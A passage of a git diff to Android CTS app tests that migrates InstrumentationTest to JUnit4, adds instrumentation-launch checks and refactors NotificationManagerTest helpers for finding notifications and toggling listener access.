+        return resultHolder[0];
+    }
+}
diff --git a/tests/app/src/android/app/cts/InstrumentationTest.java b/tests/app/src/android/app/cts/InstrumentationTest.java
index d80d5fe..52cdc5f 100644
--- a/tests/app/src/android/app/cts/InstrumentationTest.java
+++ b/tests/app/src/android/app/cts/InstrumentationTest.java
@@ -16,6 +16,15 @@
 
 package android.app.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
+
 import android.app.Activity;
 import android.app.Application;
 import android.app.Instrumentation;
@@ -36,7 +45,7 @@
 import android.os.Bundle;
 import android.os.Debug;
 import android.os.SystemClock;
-import android.test.InstrumentationTestCase;
+import android.os.SystemProperties;
 import android.test.UiThreadTest;
 import android.view.InputQueue;
 import android.view.KeyCharacterMap;
@@ -48,12 +57,21 @@
 import android.view.ViewGroup.LayoutParams;
 import android.view.Window;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.SystemUtil;
 
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.List;
 
-public class InstrumentationTest extends InstrumentationTestCase {
+@RunWith(AndroidJUnit4.class)
+public class InstrumentationTest {
 
     private static final int WAIT_TIME = 1000;
 
@@ -67,10 +85,9 @@
     private Context mContext;
     private MockActivity mMockActivity;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mInstrumentation = getInstrumentation();
+    @Before
+    public void setUp() throws Exception {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mContext = mInstrumentation.getTargetContext();
         mIntent = new Intent(mContext, InstrumentationTestActivity.class);
         mIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
@@ -78,46 +95,86 @@
         PollingCheck.waitFor(mActivity::hasWindowFocus);
     }
 
-    protected void tearDown() throws Exception {
+    @After
+    public void tearDown() throws Exception {
         mInstrumentation = null;
         mIntent = null;
         if (mActivity != null) {
             mActivity.finish();
             mActivity = null;
         }
-        super.tearDown();
     }
 
+    @Test
     public void testDefaultProcessInstrumentation() throws Exception {
         String cmd = "am instrument -w android.app.cts/.DefaultProcessInstrumentation";
-        String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+        String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
         assertEquals("INSTRUMENTATION_RESULT: " + SIMPLE_PACKAGE_NAME + "=true" +
                 "\nINSTRUMENTATION_CODE: -1\n", result);
     }
 
+    @Test
     public void testAltProcessInstrumentation() throws Exception {
         String cmd = "am instrument -w android.app.cts/.AltProcessInstrumentation";
-        String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+        String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
         assertEquals("INSTRUMENTATION_RESULT: " + SIMPLE_PACKAGE_NAME + ":other=true" +
                 "\nINSTRUMENTATION_CODE: -1\n", result);
     }
 
+    @Test
     public void testWildcardProcessInstrumentation() throws Exception {
         String cmd = "am instrument -w android.app.cts/.WildcardProcessInstrumentation";
-        String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+        String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
         assertEquals("INSTRUMENTATION_RESULT: " + SIMPLE_PACKAGE_NAME + "=true" +
                 "\nINSTRUMENTATION_RESULT: " + SIMPLE_PACKAGE_NAME + ":receiver=true" +
                 "\nINSTRUMENTATION_CODE: -1\n", result);
     }
 
+    @Test
     public void testMultiProcessInstrumentation() throws Exception {
         String cmd = "am instrument -w android.app.cts/.MultiProcessInstrumentation";
-        String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+        String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
         assertEquals("INSTRUMENTATION_RESULT: " + SIMPLE_PACKAGE_NAME + "=true" +
                 "\nINSTRUMENTATION_RESULT: " + SIMPLE_PACKAGE_NAME + ":other=true" +
                 "\nINSTRUMENTATION_CODE: -1\n", result);
     }
 
+    @Test
+    public void testEnforceStartFromShell() throws Exception {
+        assumeFalse(SystemProperties.getBoolean("ro.debuggable", false));
+        // Start the instrumentation from shell, it should succeed.
+        final String defaultInstrumentationName = "android.app.cts/.DefaultProcessInstrumentation";
+        String cmd = "am instrument -w " + defaultInstrumentationName;
+        String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
+        assertEquals("INSTRUMENTATION_RESULT: " + SIMPLE_PACKAGE_NAME + "=true"
+                + "\nINSTRUMENTATION_CODE: -1\n", result);
+        // Start the instrumentation by ourselves, it should succeed (chained instrumentation).
+        mContext.startInstrumentation(
+                ComponentName.unflattenFromString(defaultInstrumentationName), null, null);
+        // Start the instrumentation from another process, this time it should fail.
+        SystemUtil.runShellCommand(mInstrumentation,
+                "cmd deviceidle tempwhitelist android.app.cts");
+        try {
+            assertFalse(InstrumentationHelperService.startInstrumentation(
+                    mContext, defaultInstrumentationName));
+        } finally {
+            SystemUtil.runShellCommand(mInstrumentation,
+                    "cmd deviceidle tempwhitelist -r android.app.cts");
+        }
+    }
+
+    @Test
+    public void testChainedInstrumentation() throws Exception {
+        final String testPkg1 = "com.android.test.cantsavestate1";
+        final String testPkg2 = "com.android.test.cantsavestate2";
+        String cmd = "am instrument -w android.app.cts/.ChainedInstrumentationFirst";
+        String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
+        assertEquals("INSTRUMENTATION_RESULT: " + testPkg1 + "=true"
+                + "\nINSTRUMENTATION_RESULT: " + testPkg2 + "=true"
+                + "\nINSTRUMENTATION_CODE: -1\n", result);
+    }
+
+    @Test
     public void testMonitor() throws Exception {
         if (mActivity != null)
             mActivity.finish();
@@ -158,6 +215,7 @@
         mInstrumentation.removeMonitor(am);
     }
 
+    @Test
     public void testCallActivityOnCreate() throws Throwable {
         mActivity.setOnCreateCalled(false);
         runTestOnUiThread(new Runnable() {
@@ -169,6 +227,7 @@
         assertTrue(mActivity.isOnCreateCalled());
     }
 
+    @Test
     public void testAllocCounting() throws Exception {
         mInstrumentation.startAllocCounting();
 
@@ -203,6 +262,7 @@
         assertEquals(threadAllocCount, Debug.getThreadAllocCount());
     }
 
+    @Test
     public void testSendTrackballEventSync() throws Exception {
         long now = SystemClock.uptimeMillis();
         MotionEvent orig = MotionEvent.obtain(now, now, MotionEvent.ACTION_DOWN,
@@ -216,18 +276,21 @@
         assertEquals(orig.getDownTime(), motionEvent.getDownTime());
     }
 
+    @Test
     public void testCallApplicationOnCreate() throws Exception {
         InstrumentationTestStub ca = new InstrumentationTestStub();
         mInstrumentation.callApplicationOnCreate(ca);
         assertTrue(ca.mIsOnCreateCalled);
     }
 
+    @Test
     public void testContext() throws Exception {
         Context c1 = mInstrumentation.getContext();
         Context c2 = mInstrumentation.getTargetContext();
         assertNotSame(c1.getPackageName(), c2.getPackageName());
     }
 
+    @Test
     public void testInvokeMenuActionSync() throws Exception {
         final int resId = R.id.goto_menu_id;
         if (mActivity.getWindow().hasFeature(Window.FEATURE_OPTIONS_PANEL)) {
@@ -238,6 +301,7 @@
         }
     }
 
+    @Test
     public void testCallActivityOnPostCreate() throws Throwable {
         mActivity.setOnPostCreate(false);
         runTestOnUiThread(new Runnable() {
@@ -249,6 +313,7 @@
         assertTrue(mActivity.isOnPostCreate());
     }
 
+    @Test
     public void testCallActivityOnNewIntent() throws Throwable {
         mActivity.setOnNewIntentCalled(false);
         runTestOnUiThread(new Runnable() {
@@ -261,6 +326,7 @@
         assertTrue(mActivity.isOnNewIntentCalled());
     }
 
+    @Test
     public void testCallActivityOnResume() throws Throwable {
         mActivity.setOnResume(false);
         runTestOnUiThread(new Runnable() {
@@ -272,15 +338,18 @@
         assertTrue(mActivity.isOnResume());
     }
 
+    @Test
     public void testMisc() throws Exception {
     }
 
+    @Test
     public void testPerformanceSnapshot() throws Exception {
         mInstrumentation.setAutomaticPerformanceSnapshots();
         mInstrumentation.startPerformanceSnapshot();
         mInstrumentation.endPerformanceSnapshot();
     }
 
+    @Test
     public void testProfiling() throws Exception {
         // by default, profiling was disabled. but after set the handleProfiling attribute in the
         // manifest file for this Instrumentation to true, the profiling was also disabled.
@@ -290,6 +359,7 @@
         mInstrumentation.stopProfiling();
     }
 
+    @Test
     public void testInvokeContextMenuAction() throws Exception {
         mActivity.runOnUiThread(new Runnable() {
             public void run() {
@@ -306,6 +376,7 @@
         assertEquals(flag, mMockActivity.mWindow.mFlags);
     }
 
+    @Test
     public void testSendStringSync() {
         final String text = "abcd";
         mInstrumentation.sendStringSync(text);
@@ -326,6 +397,7 @@
         }
     }
 
+    @Test
     public void testCallActivityOnSaveInstanceState() throws Throwable {
         final Bundle bundle = new Bundle();
         mActivity.setOnSaveInstanceState(false);
@@ -340,6 +412,7 @@
         assertSame(bundle, mActivity.getBundle());
     }
 
+    @Test
     public void testSendPointerSync() throws Exception {
         mInstrumentation.waitForIdleSync();
         mInstrumentation.setInTouchMode(true);
@@ -362,13 +435,15 @@
         mActivity.setOnTouchEventCalled(false);
     }
 
+    @Test
     public void testGetComponentName() throws Exception {
-        ComponentName com = getInstrumentation().getComponentName();
+        ComponentName com = mInstrumentation.getComponentName();
         assertNotNull(com.getPackageName());
         assertNotNull(com.getClassName());
         assertNotNull(com.getShortClassName());
     }
 
+    @Test
     public void testNewApplication() throws Exception {
         final String className = "android.app.stubs.MockApplication";
         ClassLoader cl = getClass().getClassLoader();
@@ -380,6 +455,7 @@
         assertEquals(className, app.getClass().getName());
     }
 
+    @Test
     public void testRunOnMainSync() throws Exception {
         mRunOnMainSyncResult = false;
         mInstrumentation.runOnMainSync(new Runnable() {
@@ -391,6 +467,7 @@
         assertTrue(mRunOnMainSyncResult);
     }
 
+    @Test
     public void testCallActivityOnPause() throws Throwable {
         mActivity.setOnPauseCalled(false);
         runTestOnUiThread(() -> {
@@ -400,6 +477,7 @@
         assertTrue(mActivity.isOnPauseCalled());
     }
 
+    @Test
     public void testSendKeyDownUpSync() throws Exception {
         mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_0);
         mInstrumentation.waitForIdleSync();
@@ -409,6 +487,7 @@
         assertEquals(KeyEvent.KEYCODE_0, mActivity.getKeyDownList().get(0).getKeyCode());
     }
 
+    @Test
     @UiThreadTest
     public void testNewActivity() throws Exception {
         Intent intent = new Intent();
@@ -436,6 +515,7 @@
         activity.finish();
     }
 
+    @Test
     public void testCallActivityOnStart() throws Exception {
         mActivity.setOnStart(false);
         mInstrumentation.callActivityOnStart(mActivity);
@@ -443,6 +523,7 @@
         assertTrue(mActivity.isOnStart());
     }
 
+    @Test
     public void testWaitForIdle() throws Exception {
         MockRunnable mr = new MockRunnable();
         assertFalse(mr.isRunCalled());
@@ -451,6 +532,7 @@
         assertTrue(mr.isRunCalled());
     }
 
+    @Test
     public void testSendCharacterSync() throws Exception {
         mInstrumentation.sendCharacterSync(KeyEvent.KEYCODE_0);
         mInstrumentation.waitForIdleSync();
@@ -458,6 +540,7 @@
         assertEquals(KeyEvent.KEYCODE_0, mActivity.getKeyUpCode());
     }
 
+    @Test
     public void testCallActivityOnRestart() throws Exception {
         mActivity.setOnRestart(false);
         mInstrumentation.callActivityOnRestart(mActivity);
@@ -465,6 +548,7 @@
         assertTrue(mActivity.isOnRestart());
     }
 
+    @Test
     public void testCallActivityOnStop() throws Exception {
         mActivity.setOnStop(false);
         mInstrumentation.callActivityOnStop(mActivity);
@@ -472,6 +556,7 @@
         assertTrue(mActivity.isOnStop());
     }
 
+    @Test
     public void testCallActivityOnUserLeaving() throws Exception {
         assertFalse(mActivity.isOnLeave());
         mInstrumentation.callActivityOnUserLeaving(mActivity);
@@ -479,6 +564,7 @@
         assertTrue(mActivity.isOnLeave());
     }
 
+    @Test
     public void testCallActivityOnRestoreInstanceState() throws Exception {
         mActivity.setOnRestoreInstanceState(false);
         mInstrumentation.callActivityOnRestoreInstanceState(mActivity, new Bundle());
@@ -486,6 +572,7 @@
         assertTrue(mActivity.isOnRestoreInstanceState());
     }
 
+    @Test
     public void testSendKeySync() throws Exception {
         KeyEvent key = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0);
         mInstrumentation.sendKeySync(key);
@@ -749,4 +836,20 @@
             mIsOnCreateCalled = true;
         }
     }
+
+    private void runTestOnUiThread(final Runnable r) throws Throwable {
+        final Throwable[] exceptions = new Throwable[1];
+        mInstrumentation.runOnMainSync(new Runnable() {
+            public void run() {
+                try {
+                    r.run();
+                } catch (Throwable throwable) {
+                    exceptions[0] = throwable;
+                }
+            }
+        });
+        if (exceptions[0] != null) {
+            throw exceptions[0];
+        }
+    }
 }
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 1c7cd18..6c9b545 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -75,13 +75,16 @@
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.ContentProviderOperation;
+import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.content.OperationApplicationException;
+import android.content.ServiceConnection;
 import android.content.pm.PackageManager;
 import android.content.pm.ShortcutInfo;
 import android.content.pm.ShortcutManager;
+import android.content.res.AssetFileDescriptor;
 import android.database.Cursor;
 import android.graphics.Bitmap;
 import android.graphics.drawable.Icon;
@@ -91,6 +94,7 @@
 import android.net.Uri;
 import android.os.Build;
 import android.os.Bundle;
+import android.os.IBinder;
 import android.os.ParcelFileDescriptor;
 import android.os.RemoteException;
 import android.os.SystemClock;
@@ -111,12 +115,12 @@
 import android.util.Log;
 import android.widget.RemoteViews;
 
-import androidx.test.InstrumentationRegistry;
+import androidx.annotation.NonNull;
+import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.FeatureUtil;
 import com.android.compatibility.common.util.SystemUtil;
-
-import junit.framework.Assert;
+import com.android.test.notificationlistener.INotificationUriAccessService;
 
 import java.io.BufferedReader;
 import java.io.FileInputStream;
@@ -133,11 +137,15 @@
 import java.util.Set;
 import java.util.UUID;
 import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 
 /* This tests NotificationListenerService together with NotificationManager, as you need to have
  * notifications to manipulate in order to test the listener service. */
 public class NotificationManagerTest extends AndroidTestCase {
+    public static final String NOTIFICATIONPROVIDER = "com.android.test.notificationprovider";
+    public static final String RICH_NOTIFICATION_ACTIVITY =
+            "com.android.test.notificationprovider.RichNotificationActivity";
     final String TAG = NotificationManagerTest.class.getSimpleName();
     final boolean DEBUG = false;
     static final String NOTIFICATION_CHANNEL_ID = "NotificationManagerTest";
@@ -160,6 +168,7 @@
     private List<String> mRuleIds;
     private BroadcastReceiver mBubbleBroadcastReceiver;
     private boolean mBubblesEnabledSettingToRestore;
+    private INotificationUriAccessService mNotificationUriAccessService;
 
     @Override
     protected void setUp() throws Exception {
@@ -195,7 +204,8 @@
         // delay between tests so notifications aren't dropped by the rate limiter
         try {
             Thread.sleep(500);
-        } catch(InterruptedException e) {}
+        } catch (InterruptedException e) {
+        }
     }
 
     @Override
@@ -222,8 +232,7 @@
         suspendPackage(mContext.getPackageName(), InstrumentationRegistry.getInstrumentation(),
                 false);
 
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), false);
+        toggleListenerAccess(false);
         toggleNotificationPolicyAccess(mContext.getPackageName(),
                 InstrumentationRegistry.getInstrumentation(), false);
 
@@ -237,17 +246,17 @@
         setBubblesGlobal(mBubblesEnabledSettingToRestore);
     }
 
-    private boolean isNotificationCancelled(int id, boolean all) {
+    private void assertNotificationCancelled(int id, boolean all) {
         for (long totalWait = 0; totalWait < MAX_WAIT_TIME; totalWait += SHORT_WAIT_TIME) {
-            StatusBarNotification sbn = findPostedNotification(id, all);
-            if (sbn == null) return true;
+            StatusBarNotification sbn = findNotificationNoWait(id, all);
+            if (sbn == null) return;
             try {
                 Thread.sleep(SHORT_WAIT_TIME);
             } catch (InterruptedException e) {
                 e.printStackTrace();
             }
         }
-        return false;
+        assertNull(findNotificationNoWait(id, all));
     }
 
     private void insertSingleContact(String name, String phone, String email, boolean starred) {
@@ -296,8 +305,8 @@
         try {
             Uri phoneUri = Uri.withAppendedPath(ContactsContract.PhoneLookup.CONTENT_FILTER_URI,
                     Uri.encode(phone));
-            String[] projection = new String[] { ContactsContract.Contacts._ID,
-                    ContactsContract.Contacts.LOOKUP_KEY };
+            String[] projection = new String[]{ContactsContract.Contacts._ID,
+                    ContactsContract.Contacts.LOOKUP_KEY};
             c = mContext.getContentResolver().query(phoneUri, projection, null, null, null);
             if (c != null && c.getCount() > 0) {
                 c.moveToFirst();
@@ -320,25 +329,28 @@
     private StatusBarNotification findPostedNotification(int id, boolean all) {
         // notification is a bit asynchronous so it may take a few ms to appear in
         // getActiveNotifications()
-        // we will check for it for up to 300ms before giving up
-        StatusBarNotification n = null;
-        for (int tries = 3; tries-- > 0; ) {
-            final StatusBarNotification[] sbns = getActiveNotifications(all);
-            for (StatusBarNotification sbn : sbns) {
-                Log.d(TAG, "Found " + sbn.getKey());
-                if (sbn.getId() == id) {
-                    n = sbn;
-                    break;
-                }
+        // we will check for it for up to 1000ms before giving up
+        for (long totalWait = 0; totalWait < MAX_WAIT_TIME; totalWait += SHORT_WAIT_TIME) {
+            StatusBarNotification n = findNotificationNoWait(id, all);
+            if (n != null) {
+                return n;
             }
-            if (n != null) break;
             try {
-                Thread.sleep(100);
+                Thread.sleep(SHORT_WAIT_TIME);
             } catch (InterruptedException ex) {
                 // pass
             }
         }
-        return n;
+        return findNotificationNoWait(id, all);
+    }
+
+    private StatusBarNotification findNotificationNoWait(int id, boolean all) {
+        for (StatusBarNotification sbn : getActiveNotifications(all)) {
+            if (sbn.getId() == id) {
+                return sbn;
+            }
+        }
+        return null;
     }
 
     private StatusBarNotification[] getActiveNotifications(boolean all) {
@@ -449,8 +461,7 @@
 
     private void setUpNotifListener() {
         try {
-            toggleListenerAccess(TestNotificationListener.getId(),
-                    InstrumentationRegistry.getInstrumentation(), true);
+            toggleListenerAccess(true);
             mListener = TestNotificationListener.getInstance();
             mListener.resetData();
             assertNotNull(mListener);
@@ -471,16 +482,16 @@
 
         if (data == null) {
             data = new Notification.BubbleMetadata.Builder(pendingIntent,
-                            Icon.createWithResource(mContext, R.drawable.black))
+                    Icon.createWithResource(mContext, R.drawable.black))
                     .build();
         }
         if (builder == null) {
             builder = new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
-                            .setSmallIcon(R.drawable.black)
-                            .setWhen(System.currentTimeMillis())
-                            .setContentTitle("notify#" + id)
-                            .setContentText("This is #" + id + "notification  ")
-                            .setContentIntent(pendingIntent);
+                    .setSmallIcon(R.drawable.black)
+                    .setWhen(System.currentTimeMillis())
+                    .setContentTitle("notify#" + id)
+                    .setContentText("This is #" + id + "notification  ")
+                    .setContentIntent(pendingIntent);
         }
         builder.setBubbleMetadata(data);
 
@@ -523,7 +534,7 @@
         // getActiveNotifications()
         // we will check for it for up to 300ms before giving up
         boolean found = false;
-        for (int tries = 3; tries--> 0;) {
+        for (int tries = 3; tries-- > 0; ) {
             // Need reset flag.
             found = false;
             final StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
@@ -549,7 +560,7 @@
         // getActiveNotifications()
         // we will check for it for up to 400ms before giving up
         int lastCount = 0;
-        for (int tries = 4; tries-- > 0;) {
+        for (int tries = 4; tries-- > 0; ) {
             final StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
             lastCount = sbns.length;
             if (expectedCount == lastCount) return;
@@ -559,7 +570,7 @@
                 // pass
             }
         }
-        fail("Expected " + expectedCount + " posted notifications, were " +  lastCount);
+        fail("Expected " + expectedCount + " posted notifications, were " + lastCount);
     }
 
     private void compareChannels(NotificationChannel expected, NotificationChannel actual) {
@@ -599,8 +610,8 @@
         runCommand(command, instrumentation);
 
         NotificationManager nm = mContext.getSystemService(NotificationManager.class);
-        Assert.assertEquals("Notification Policy Access Grant is " +
-                        nm.isNotificationPolicyAccessGranted() + " not " + on, on,
+        assertEquals("Notification Policy Access Grant is "
+                        + nm.isNotificationPolicyAccessGranted() + " not " + on, on,
                 nm.isNotificationPolicyAccessGranted());
     }
 
@@ -613,18 +624,23 @@
         runCommand(command, instrumentation);
     }
 
-    private void toggleListenerAccess(String componentName, Instrumentation instrumentation,
-            boolean on) throws IOException {
-
+    private void toggleListenerAccess(boolean on) throws IOException {
         String command = " cmd notification " + (on ? "allow_listener " : "disallow_listener ")
-                + componentName;
+                + TestNotificationListener.getId();
 
-        runCommand(command, instrumentation);
+        runCommand(command, InstrumentationRegistry.getInstrumentation());
 
         final NotificationManager nm = mContext.getSystemService(NotificationManager.class);
         final ComponentName listenerComponent = TestNotificationListener.getComponentName();
-        assertTrue(listenerComponent + " has not been granted access",
-                nm.isNotificationListenerAccessGranted(listenerComponent) == on);
+        assertEquals(listenerComponent + " has incorrect listener access",
+                on, nm.isNotificationListenerAccessGranted(listenerComponent));
+    }
+
+    private void toggleExternalListenerAccess(ComponentName listenerComponent, boolean on)
+            throws IOException {
+        String command = " cmd notification " + (on ? "allow_listener " : "disallow_listener ")
+                + listenerComponent.flattenToString();
+        runCommand(command, InstrumentationRegistry.getInstrumentation());
     }
 
     private void setBubblesGlobal(boolean enabled)
@@ -656,15 +672,18 @@
         Thread.sleep(500); // wait for ranking update
     }
 
+    @SuppressWarnings("StatementWithEmptyBody")
     private void runCommand(String command, Instrumentation instrumentation) throws IOException {
         UiAutomation uiAutomation = instrumentation.getUiAutomation();
         // Execute command
         try (ParcelFileDescriptor fd = uiAutomation.executeShellCommand(command)) {
-            Assert.assertNotNull("Failed to execute shell command: " + command, fd);
+            assertNotNull("Failed to execute shell command: " + command, fd);
             // Wait for the command to finish by reading until EOF
             try (InputStream in = new FileInputStream(fd.getFileDescriptor())) {
                 byte[] buffer = new byte[4096];
-                while (in.read(buffer) > 0) {}
+                while (in.read(buffer) > 0) {
+                    // discard output
+                }
             } catch (IOException e) {
                 throw new IOException("Could not read stdout of command: " + command, e);
             }
@@ -698,7 +717,7 @@
 
     private void assertExpectedDndState(int expectedState) {
         int tries = 3;
-        for (int i = tries; i >=0; i--) {
+        for (int i = tries; i >= 0; i--) {
             if (expectedState ==
                     mNotificationManager.getCurrentInterruptionFilter()) {
                 break;
@@ -808,11 +827,11 @@
         KeyguardManager keyguardManager = mContext.getSystemService(KeyguardManager.class);
         keyguardManager.requestDismissKeyguard(sendBubbleActivity,
                 new KeyguardManager.KeyguardDismissCallback() {
-            @Override
-            public void onDismissSucceeded() {
-                latch.countDown();
-            }
-        });
+                    @Override
+                    public void onDismissSucceeded() {
+                        latch.countDown();
+                    }
+                });
         try {
             latch.await(500, TimeUnit.MILLISECONDS);
         } catch (InterruptedException e) {
@@ -1098,7 +1117,7 @@
                 new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT);
         channel.setDescription("bananas");
         channel.enableVibration(true);
-        channel.setVibrationPattern(new long[] {5, 8, 2, 1});
+        channel.setVibrationPattern(new long[]{5, 8, 2, 1});
         channel.setSound(new Uri.Builder().scheme("test").build(),
                 new AudioAttributes.Builder().setUsage(
                         AudioAttributes.USAGE_NOTIFICATION_COMMUNICATION_DELAYED).build());
@@ -1213,7 +1232,8 @@
         try {
             mNotificationManager.createNotificationChannel(channel);
             fail("Created notification with bad group");
-        } catch (IllegalArgumentException e) {}
+        } catch (IllegalArgumentException e) {
+        }
     }
 
     public void testCreateChannelInvalidImportance() throws Exception {
@@ -1380,8 +1400,7 @@
     }
 
     public void testSuspendPackage() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -1422,8 +1441,7 @@
     }
 
     public void testSuspendedPackageSendsNotification() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -1475,8 +1493,7 @@
         assertEquals(1, Settings.Global.getInt(
                 mContext.getContentResolver(), Settings.Global.NOTIFICATION_BUBBLES));
 
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -1520,8 +1537,7 @@
         assertEquals(1, Settings.Secure.getInt(
                 mContext.getContentResolver(), Settings.Secure.NOTIFICATION_BADGING));
 
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -1563,8 +1579,7 @@
     }
 
     public void testGetSuppressedVisualEffectsOff_ranking() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -1592,8 +1607,7 @@
         final int originalFilter = mNotificationManager.getCurrentInterruptionFilter();
         NotificationManager.Policy origPolicy = mNotificationManager.getNotificationPolicy();
         try {
-            toggleListenerAccess(TestNotificationListener.getId(),
-                    InstrumentationRegistry.getInstrumentation(), true);
+            toggleListenerAccess(true);
             Thread.sleep(500); // wait for listener to be allowed
 
             mListener = TestNotificationListener.getInstance();
@@ -1641,8 +1655,7 @@
     }
 
     public void testKeyChannelGroupOverrideImportanceExplanation_ranking() throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -1908,7 +1921,8 @@
                         .setStyle(new Notification.BigPictureStyle()
                                 .setBigContentTitle("title")
                                 .bigPicture(Bitmap.createBitmap(100, 100, Bitmap.Config.RGB_565))
-                                .bigLargeIcon(Icon.createWithResource(getContext(), R.drawable.icon_blue))
+                                .bigLargeIcon(
+                                        Icon.createWithResource(getContext(), R.drawable.icon_blue))
                                 .setSummaryText("summary"))
                         .build();
         mNotificationManager.notify(id, notification);
@@ -2339,31 +2353,31 @@
     }
 
     public void testNotificationPolicyVisualEffectsEqual() {
-        NotificationManager.Policy policy = new NotificationManager.Policy(0,0 ,0 ,
+        NotificationManager.Policy policy = new NotificationManager.Policy(0, 0, 0,
                 SUPPRESSED_EFFECT_SCREEN_ON);
-        NotificationManager.Policy policy2 = new NotificationManager.Policy(0,0 ,0 ,
+        NotificationManager.Policy policy2 = new NotificationManager.Policy(0, 0, 0,
                 SUPPRESSED_EFFECT_PEEK);
         assertTrue(policy.equals(policy2));
         assertTrue(policy2.equals(policy));
 
-        policy = new NotificationManager.Policy(0,0 ,0 ,
+        policy = new NotificationManager.Policy(0, 0, 0,
                 SUPPRESSED_EFFECT_SCREEN_ON);
-        policy2 = new NotificationManager.Policy(0,0 ,0 ,
+        policy2 = new NotificationManager.Policy(0, 0, 0,
                 0);
         assertFalse(policy.equals(policy2));
         assertFalse(policy2.equals(policy));
 
-        policy = new NotificationManager.Policy(0,0 ,0 ,
+        policy = new NotificationManager.Policy(0, 0, 0,
                 SUPPRESSED_EFFECT_SCREEN_OFF);
-        policy2 = new NotificationManager.Policy(0,0 ,0 ,
+        policy2 = new NotificationManager.Policy(0, 0, 0,
                 SUPPRESSED_EFFECT_FULL_SCREEN_INTENT | SUPPRESSED_EFFECT_AMBIENT
                         | SUPPRESSED_EFFECT_LIGHTS);
         assertTrue(policy.equals(policy2));
         assertTrue(policy2.equals(policy));
 
-        policy = new NotificationManager.Policy(0,0 ,0 ,
+        policy = new NotificationManager.Policy(0, 0, 0,
                 SUPPRESSED_EFFECT_SCREEN_OFF);
-        policy2 = new NotificationManager.Policy(0,0 ,0 ,
+        policy2 = new NotificationManager.Policy(0, 0, 0,
                 SUPPRESSED_EFFECT_LIGHTS);
         assertFalse(policy.equals(policy2));
         assertFalse(policy2.equals(policy));
@@ -2414,7 +2428,7 @@
         mNotificationManager.notifyAsPackage(DELEGATOR, "toBeCanceled", 10000, n);
         assertNotNull(findPostedNotification(10000, false));
         mNotificationManager.cancelAsPackage(DELEGATOR, "toBeCanceled", 10000);
-        assertTrue(isNotificationCancelled(10000, false));
+        assertNotificationCancelled(10000, false);
         final Intent revokeIntent = new Intent();
         revokeIntent.setClassName(DELEGATOR, REVOKE_CLASS);
         revokeIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
@@ -2424,8 +2438,7 @@
 
     public void testNotificationDelegate_cannotCancelNotificationsPostedByDelegator()
             throws Exception {
-        toggleListenerAccess(TestNotificationListener.getId(),
-                InstrumentationRegistry.getInstrumentation(), true);
+        toggleListenerAccess(true);
         Thread.sleep(500); // wait for listener to be allowed
 
         mListener = TestNotificationListener.getInstance();
@@ -2444,7 +2457,7 @@
 
         try {
             mNotificationManager.cancelAsPackage(DELEGATOR, null, 9);
-            fail ("Delegate should not be able to cancel notification they did not post");
+            fail("Delegate should not be able to cancel notification they did not post");
         } catch (SecurityException e) {
             // yay
         }
@@ -2592,8 +2605,7 @@
             // pass
